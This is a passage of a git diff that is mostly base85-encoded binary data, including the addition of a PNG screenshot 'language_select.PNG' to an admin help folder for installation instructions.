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 literal 0 HcmV?d00001 diff --git a/admin/help/img/install/language_select.PNG b/admin/help/img/install/language_select.PNG new file mode 100644 index 0000000000000000000000000000000000000000..b4cf9805225c553b4e478becee377114dedf03a4 GIT binary patch literal 27394 zcmdqJcQ~8v8#k_{y3m%YP3;mjLhV(fHZ>YjwG*oLYV1)hrD~KQW*3Uoh*fH}cC6M) zQM5KOYH!{<==1dXuH$(B`5nja{i{uK-`6~^^ZcBj^K%Kit*t_Sj{Y1G5fQnXs*)ZN z5iy8}=p@YwQdp-6-J%kwKxTQzG|har$t2M z%|%2M_?U=j8~7@4nuy3lkcep3oQOy=k%)-KIi*5ZnuzE@pqkQ615eZWA)jbYoXL-^ z;Vm00b}ms%OUvN?#6Th|=1Ge-4e9nekzv8+dZSxye2vVHCvM#@{yYq&B~xW4k%}j^ 